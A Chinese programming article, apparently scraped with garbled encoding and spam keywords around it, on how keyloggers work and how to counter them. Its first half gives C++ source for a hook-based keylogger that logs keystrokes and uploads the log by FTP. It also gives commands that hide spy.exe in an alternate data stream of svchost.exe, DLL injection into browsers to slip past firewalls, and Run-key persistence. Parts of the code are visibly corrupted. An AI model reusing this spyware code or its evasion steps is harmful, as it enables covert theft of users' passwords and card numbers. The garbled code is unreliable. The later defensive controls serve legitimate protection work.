国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學(xué)院 > 開發(fā)設(shè)計(jì) > 正文

鍵盤諜影 鍵盤監(jiān)視器的原理和防范

2019-11-17 05:08:30
字體:
供稿:網(wǎng)友
  簡介

  本文將具體討論一個(gè)鍵盤監(jiān)視器的C++/C#開發(fā)過程并針對反窺探提出了一些建議。希望讀者理解基于鉤子技術(shù)的窺探軟件的工作原理以更好地針對自己的軟件加以保護(hù)。

  背景

  基于軟件的鍵盤事件記錄器是一個(gè)嚴(yán)重的安全威脅,因?yàn)樗鼈兺ㄟ^捕捉擊鍵操作來監(jiān)控用戶的行動(dòng)。監(jiān)控器可以用于一些惡意的行為諸如盜竊信用卡號(hào)碼等。例如,鍵擊記錄器就是Trojans病毒的一個(gè)基本組成部分,它們在后臺(tái)安靜地運(yùn)行伺機(jī)捕捉用戶的擊鍵操作。擊鍵事件被保存在經(jīng)過良好隱藏的文件中通過電子郵件或者FTP方式發(fā)送給窺探者。

  一、鍵盤監(jiān)視器的設(shè)計(jì)

  下面是一個(gè)簡單的,直接使用鉤子技術(shù)實(shí)現(xiàn)的例子。

  鍵盤監(jiān)視器體系結(jié)構(gòu)

  鍵盤監(jiān)視器由三個(gè)模塊組成:主模塊,鉤子過程和FTP模塊。主模塊負(fù)責(zé)安裝一個(gè)全局鉤子過程。該鉤子的任務(wù)是把每次按鍵事件向主模塊匯報(bào),由主模塊把所有的擊鍵保存到一個(gè)文件中。當(dāng)記錄文件達(dá)到預(yù)定的大小時(shí),主模塊命令FTP模塊把記錄文件上載給一個(gè)FTP服務(wù)器。三個(gè)模塊間的通訊是通過Windows消息機(jī)制實(shí)現(xiàn)的。

鍵盤諜影 鍵盤監(jiān)視器的原理和防范
  主模塊Window過程代碼如下:

///////////////////////////////////////////////////////////////////
// FUNCTION: WndPRoc(HWND, unsigned, Word, LONG)
// 目的:處理主窗口中的消息
// MSG_MY_WM_KEYDOWN - 處理應(yīng)用程序鍵擊
// MSG_MY_WM_SETFOCUS - 處理應(yīng)用程序鍵擊
// MSG_WM_UPLOAD_FILE - 處理一個(gè)FTP模塊通知
// WM_DESTROY - 寄送一個(gè)退出消息并返回
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam,
LPARAM lParam)
{
  if (message == MSG_MY_WM_KEYDOWN)
   return OnInterceptKeyStroke(wParam, lParam);
  if (message == MSG_MY_WM_SETFOCUS)
   return OnSetKeyboardFocus(wParam, lParam);
  if (message == MSG_WM_UPLOAD_FILE)
   return OnFileUploaded(wParam, lParam);
  switch (message)
  {
   case WM_DESTROY:
    PostQuitMessage(0);
    break;
   default:
    return DefWindowProc(hWnd, message, wParam, lParam);
  }
  return 0;
}
///////////////////////////////////////////////////////////////////
LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam)
{
  //假如我們在登錄一個(gè)新的應(yīng)用程序,應(yīng)該打印一個(gè)適當(dāng)?shù)念^
  if (g_hWinInFocus != g_hLastWin)
  {
   WriteNewAppHeader(g_hWinInFocus);
   g_hLastWin = g_hWinInFocus;
  }
  if (wParam==VK_RETURN wParam==VK_TAB)
  {
   WriteToLog(’/n’);
  }
  else
  {
   BYTE keyStateArr[256];
   WORD word;
   UINT scanCode = lParam;
   char ch;
   //把虛擬鍵代碼轉(zhuǎn)換成ascii碼
   GetKeyboardState(keyStateArr);
   ToAscii(wParam, scanCode, keyStateArr, &word, 0);
   ch = (char) word;

   if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= ’a’&& wParam <= ’z’)
    ch += ’A’-’a’;
    WriteToLog(ch);
  }
  return 0;
}
///////////////////////////////////////////////////////////////////
LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam)
{
  g_hWinInFocus = (HWND)wParam;
  return S_OK;
}
///////////////////////////////////////////////////////////////////
LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam)
{
  //記錄上載成功
  if (wParam)
  {
   DeleteFile(g_sSpyLogFileName2);
  }
  else
  {
   char temp[255];
   FILE* f1=fopen(g_sSpyLogFileName,"rt");
   FILE* f2=fopen(g_sSpyLogFileName2,"at");
   while (!feof(f1))
   {
    if (fgets(temp, 255, f1))
    {
     fputs(temp, f2);
    }
   }
   fclose(f1);
   fclose(f2);
   MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName);
  }
  g_isUploading = false;
  return S_OK;
}

  全局WH_CBT鉤子

  一個(gè)系統(tǒng)范圍的鉤子實(shí)際上是一個(gè)函數(shù),它安裝在當(dāng)前運(yùn)行的所有進(jìn)程中,在被監(jiān)視消息到達(dá)目標(biāo)window過程之前予以監(jiān)控。鉤子過程用于監(jiān)控系統(tǒng)中的各種類型的事件-例如擊鍵等等。可以通過調(diào)用Win32 API函數(shù)SetWindowsHookEx來安裝一個(gè)鉤子過程并指定調(diào)用該過程的鉤子類型。一個(gè)WH_CBT鉤子過程在窗口取得焦點(diǎn)并在擊鍵事件從系統(tǒng)消息隊(duì)列被清除之前調(diào)用。所有桌面應(yīng)用程序都在自己的上下文中調(diào)用一個(gè)全局的鉤子過程,所以該鉤子過程必須駐留在一個(gè)獨(dú)立于應(yīng)用程序的DLL中來安裝鉤子過程。

  DLL共享內(nèi)存區(qū)域

  一段DLL共享內(nèi)存區(qū)域?qū)嶋H上是一個(gè)所有的DLL實(shí)例都可以看到的內(nèi)存變量。主模塊把它的窗口句柄保存在鉤子DLL的共享內(nèi)存區(qū)域中-該DLL使所有的鉤子過程實(shí)例能夠把窗口消息郵寄回主模塊中。

  鉤子過程共享內(nèi)存區(qū)域并輸出函數(shù):

///////////////////////////////////////////////////////////////////
//共享的內(nèi)存
#pragma data_seg(".adshared")
HWND g_hSpyWin = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.adshared,RWS")
///////////////////////////////////////////////////////////////////
void CALLBACK SetSpyHwnd (DWORD hwnd)
{
  g_hSpyWin = (HWND) hwnd;
}
///////////////////////////////////////////////////////////////////
LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam )
{
  if (nCode == HCBT_KEYSKipPED && (lParam & 0x40000000))
  {
   if ((wParam==VK_SPACE)(wParam==VK_RETURN)(wParam==VK_TAB) (wParam>=0x2f ) &&(wParam<=0x100))
   {
    ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam);
   }
  }
  else if (nCode == HCBT_SETFOCUS)
  {
   ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);

   if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL)
   {
    HINSTANCE hFtpDll;
    Init InitFunc;
    if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME))
    {
     if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init"))
     {
      (InitFunc)((DWORD)g_hSpyWin);
     }
    }
    bInjectFtpDll = false;
   }
  }
  return CallNextHookEx( 0, nCode, wParam, lParam);
}

  函數(shù)的主模塊代碼如下:

typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam,
LPARAM lParam);
typedef void (WINAPI *SetSpyHwnd)(DWORD);
HMODULE g_hHookDll = NULL;
HHOOK g_hHook = NULL;
bool InstallHook(HWND hwnd)
{
  SetSpyHwnd SetHwndFunc;
  HookProc HookProcFunc;

  if (g_hHookDll = LoadLibrary(SPY_DLL_NAME))
  {
   if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress(g_hHookDll,"SetSpyHwnd"))
   {
    //把主模塊的HWND存儲(chǔ)在共享存儲(chǔ)區(qū)段
    (SetHwndFunc)((DWORD)hwnd);
    if (HookProcFunc = (HookProc) ::GetProcAddress(g_hHookDll,"HookProc"))
    {
     if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc,g_hHookDll, 0))
      return true;
    }
   }
  }
  return false;
}

  盜竊

  一個(gè)間諜程序?yàn)榱朔乐棺约罕惶綔y到必須隱藏好自己的蹤跡。它們主要涉及三個(gè)技術(shù)區(qū)域:文件系統(tǒng),任務(wù)治理器,防火墻。

  任務(wù)治理器盜竊

  ADS(Alternate Data Streams)是一項(xiàng)NTFS文件系統(tǒng)特性,它能使你把文件數(shù)據(jù)送于存在的文件中而不影響它們的功能,大小或者資源治理器等瀏覽工具的對它們的顯示。帶有ADS的文件用本地文件瀏覽技術(shù)幾乎是不可能檢測到的。 一旦文件被注入該項(xiàng)特性,ADS即可被諸如傳統(tǒng)的命令如type等執(zhí)行。在激活時(shí),ADS執(zhí)行體以原始文件的方式出現(xiàn)并運(yùn)行:你可以用Windows資源治理器等進(jìn)程觀察器來試驗(yàn)。使用這種技術(shù)后,不僅可能隱藏一個(gè)文件,而且可能隱藏一個(gè)非法進(jìn)程的執(zhí)行體部分。事實(shí)上,假如安裝了NTFS系統(tǒng),你是不可能本地式探測出以ADS方式隱藏的文件的。ADS特性不能夠被取消(disabled),目前為止還沒有辦法來針對用戶已經(jīng)對其具有存取權(quán)限的文件限制這種特性。示例程序?yàn)榱撕喢髦康貨]有使用ADS。   
  你可以用下例方式手工操作ADS。

Inject spy.exe to svchost.exe
"type spy.exe > c:/windows/system32/svchost.exe:spy.exe"
Run spy.exe
"start svchost.exe:spy.exe"

  防火墻盜竊

  大多數(shù)的防火墻軟件都能探測和阻攔不經(jīng)授權(quán)的程序接入因特網(wǎng)。主模塊通過使用FTP模塊把記錄文件上載到一個(gè)FTP服務(wù)器。防火墻通過把FTP模塊DLL注入到另外一個(gè)已經(jīng)安裝的應(yīng)用程序中來實(shí)現(xiàn)盜竊。DLL注入意味著強(qiáng)制一個(gè)不能被掛起的進(jìn)程必須接受一個(gè)自己從來沒有要求的DLL文件。示例中,我選擇把FTP模塊注入或者Internet EXPlorer或者Firefox。DLL注入將會(huì)越過大多數(shù)防火墻軟件的檢測,非凡在FTP服務(wù)器在探聽80端口時(shí)。鉤子過程DLL(它由函數(shù)SetWindowsHookEx自動(dòng)加載進(jìn)入所有正運(yùn)行進(jìn)程)檢查是被裝入到Internet Explorer還是FireFox并加載(用LoadLibrary)了FTP模塊DLL。從DllMain中調(diào)用LoadLibrary函數(shù)是不答應(yīng)的,因此DllMain設(shè)置了一個(gè)布爾變量來讓鉤子過程調(diào)用LoadLibrary庫函數(shù)。

  下面是模塊DllMain中的鉤子過程:

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved)
{
  switch (ul_reason_for_call)
  { 
   case DLL_PROCESS_ATTACH:
   {
    char processName[255];
    GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) );
    strcpy(processName, _strlwr(processName));
    if (strstr(processName, "iexplore.exe") strstr(processName, "firefox.exe"))
     bInjectFtpDll = true;
     break;
   }
   case DLL_THREAD_ATTACH:
   case DLL_THREAD_DETACH:
   case DLL_PROCESS_DETACH:
   break;
  }
  return TRUE;
}

  啟動(dòng)

  把監(jiān)視程序加入到下列注冊表鍵處將使得它能夠在系統(tǒng)啟動(dòng)時(shí)被一起激發(fā):

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run.
  示例程序把spy.exe作為一項(xiàng)新注冊表值加入。

 二、鍵盤監(jiān)視的防范

   在這一節(jié)中,我將介紹兩種簡單的技術(shù)來幫助你的應(yīng)用程序反擊基于鉤子技術(shù)的鍵盤監(jiān)視程序。

   具有防范監(jiān)視功能的密碼編輯控件

鍵盤諜影 鍵盤監(jiān)視器的原理和防范
  免于監(jiān)視的編輯控件將針對每次用戶擊鍵生成一個(gè)模擬的隨機(jī)鍵擊串。監(jiān)視程序?qū)⒔孬@用戶的擊鍵和偽擊鍵,這樣以來使它很難或者不可能檢索實(shí)際的輸入的文本。用戶輸入被存儲(chǔ)于一個(gè)成員變量中-應(yīng)用程序可以輕易地通過編輯控件存取該變量的值。本例中的偽鍵擊是通過調(diào)用Win32 API SendInput來實(shí)現(xiàn)的。下面這實(shí)現(xiàn)了兩個(gè)控件-一個(gè)MFC版本,一個(gè).NET版本。

  該編輯安全的控件假定函數(shù)SendInput生成鍵擊的速度快于用戶擊鍵的速度。這可能導(dǎo)致編輯安全的控件在較慢的機(jī)器上返回錯(cuò)誤的用戶數(shù)據(jù),非凡是在運(yùn)行C#實(shí)現(xiàn)版本時(shí)。

  VC++ MFC版本的CsafeEdit類:

void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags)
{
  if (nChar == VK_SHIFT nChar == VK_CONTROL nChar == VK_MENU)
   return;
  if (nChar == VK_DELETE nChar == VK_BACK)
  {
   SetWindowText("");
   m_sRealText = "";
   return;
  }
  if (m_state == 0)
  {
   m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
   m_state = 1;
   CString text;
   GetWindowText(text);
   m_sRealText += text.Right(1);
  }
  else
  {
   if (m_state++ >= m_iDummyKeyStrokesCount)
    m_state = 0;
  }
  CEdit::OnKeyUp(nChar, nRepCnt, nFlags);
}
///////////////////////////////////////////////////////////////////
CString CSafeEdit::GetRealText()
{
  return m_sRealText;
}
///////////////////////////////////////////////////////////////////
int CSafeEdit::SendDummyKeyStrokes()
{
  srand((unsigned)::GetTickCount());
  int iKeyStrokeCount = rand() % 5 + 1;
  int key;
  INPUT inp[2];
  inp[0].type = INPUT_KEYBOARD;
  inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo();
  inp[0].ki.dwFlags = 0;
  inp[0].ki.time = 0;
  for (int i=0; i < iKeyStrokeCount; i++)
  {
   key = rand() % (’Z’-’A’) + ’A’;
   inp[0].ki.wScan = key;
   inp[0].ki.wVk = key;
   inp[1] = inp[0];
   inp[1].ki.dwFlags = KEYEVENTF_KEYUP;
   SendInput(2, inp, sizeof(INPUT));
  }
  return iKeyStrokeCount;
}

  用C#實(shí)現(xiàn)的SafeEdit類:

public strUCt KEYDBINPUT
{
  public Int16 wVk;
  public Int16 wScan;
  public Int32 dwFlags;
  public Int32 time;
  public Int32 dwExtraInfo;
  public Int32 __filler1;
  public Int32 __filler2;
}
public struct INPUT
{
  public Int32 type;
  public KEYDBINPUT ki;
}
[DllImport("user32")] public static extern int
SendInput( int cInputs, ref INPUT pInputs, int cbSize );
protected void OnKeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
{
  if (e.KeyData == Keys.ShiftKey e.KeyData == Keys.ControlKey e.KeyData == Keys.Alt)
   return;
  if (e.KeyData == Keys.Delete e.KeyData == Keys.Back)
  {
   Text = "";
   m_sRealText = "";
   return;
  }
  if (m_state == 0)
  {
   m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
   m_state = 1;
   m_sRealText += Text[Text.Length-1];
  }
  else
  {
   if (m_state++ >= m_iDummyKeyStrokesCount)
   m_state = 0;
  }
}
public int SendDummyKeyStrokes()
{
  short key;
  Random rand = new Random();
  int iKeyStrokeCount = rand.Next(1, 6);
  INPUT inputDown = new INPUT();
  inputDown.type = INPUT_KEYBOARD;
  inputDown.ki.dwFlags = 0;
  INPUT inputUp = new INPUT();
  inputUp.type = INPUT_KEYBOARD;
  inputUp.ki.dwFlags = KEYEVENTF_KEYUP;
  for (int i=0; i < iKeyStrokeCount; i++)
  {
   key = (short) rand.Next(’A’, ’Z’);
   inputDown.ki.wVk = key;
   SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) );
   inputUp.ki.wVk = key;
   SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) );
  }
  return iKeyStrokeCount;
}

  SpyRemover類

鍵盤諜影 鍵盤監(jiān)視器的原理和防范
  基于鉤子技術(shù)的監(jiān)視程序依靠于它們的鉤子過程DLL。
將鉤子DLL從應(yīng)用程序進(jìn)程中移去將使注入該應(yīng)用程序的窺探程序失去窺探鍵擊的功能。示例程序使用類SpyRemover來移去鉤子DLL文件。SpyRemover構(gòu)造器接收一個(gè)"授權(quán)模塊"的列表。假如一個(gè)模塊只是裝入到一個(gè)應(yīng)用程序中但是沒有出現(xiàn)在該列表中被認(rèn)為是沒有授權(quán)的。SpyRemover通過枚舉所有的應(yīng)用程序進(jìn)程模塊來探測未經(jīng)授權(quán)的模塊。

VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg,
unsigned int idEvent, DWORD dwTime)
{
  m_SpyRemover->EnumModules();
}
//////////////////////////////////////////////////////////////////
SpyRemover::SpyRemover(char* szAuthorizedList)
{
  m_SpyRemover = this;
  m_szAuthorizedList = " ";
  m_szAuthorizedList += szAuthorizedList;
  m_szAuthorizedList += " ";
  m_szAuthorizedList.MakeLower();
  ::SetTimer(NULL, 0, 500, TimerProc);
}
///////////////////////////////////////////////////////////////////
void SpyRemover::EnumModules()
{
  DWORD dwPID = ::GetCurrentProcessId();
  HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
  MODULEENTRY32 me32;
  //取得當(dāng)前進(jìn)程所有模塊的一個(gè)快照
  hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID );
  if( hModuleSnap == INVALID_HANDLE_VALUE )
   return;
  me32.dwSize = sizeof( MODULEENTRY32 );
  //檢索關(guān)于第一個(gè)模塊(application.exe)的信息
  if( !Module32First( hModuleSnap, &me32 ) )
  {
   CloseHandle( hModuleSnap );
   return;
  }
  //遍歷當(dāng)前進(jìn)程的模塊列表
  do
  {
   if (!IsModuleAuthorized(me32.szModule))
   {
    HMODULE hmodule = me32.hModule;
    CloseHandle(hModuleSnap);
    FreeLibrary(hmodule);
    return;
   } while( Module32Next( hModuleSnap, &me32 ) );
   CloseHandle(hModuleSnap);
  }
  ///////////////////////////////////////////////////////////////////
  bool SpyRemover::IsModuleAuthorized(char* szModuleName)
  {
   char szModule[1024];
   sprintf(szModule, " %s ", szModuleName);
   strcpy(szModule, _strlwr(szModule));
   if (strstr(m_szAuthorizedList, szModule))
    return true;
   else
    return false;
  }

  小結(jié)

  本文以軟件保護(hù)為背景,具體討論了一個(gè)鍵盤監(jiān)視器的開發(fā)并針對反監(jiān)視提出了一些建議。希望讀者理解基于鉤子技術(shù)的窺探軟件的工作原理以更好地針對自己的軟件加以保護(hù)。另外,本文所附代碼在windows 2000/.NET 2003環(huán)境下調(diào)試通過。

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 永年县| 昭苏县| 辛集市| 荥经县| 邢台市| 阿坝县| 黄平县| 随州市| 米林县| 青海省| 松原市| 焉耆| 万荣县| 建平县| 平顺县| 红河县| 东乌珠穆沁旗| 新兴县| 永康市| 剑川县| 特克斯县| 古丈县| 吉木萨尔县| 泰顺县| 玉山县| 合作市| 南雄市| 东方市| 龙里县| 高邮市| 岱山县| 阿巴嘎旗| 阳原县| 黄大仙区| 惠水县| 石嘴山市| 抚松县| 祁门县| 宁河县| 宜宾县| 津市市|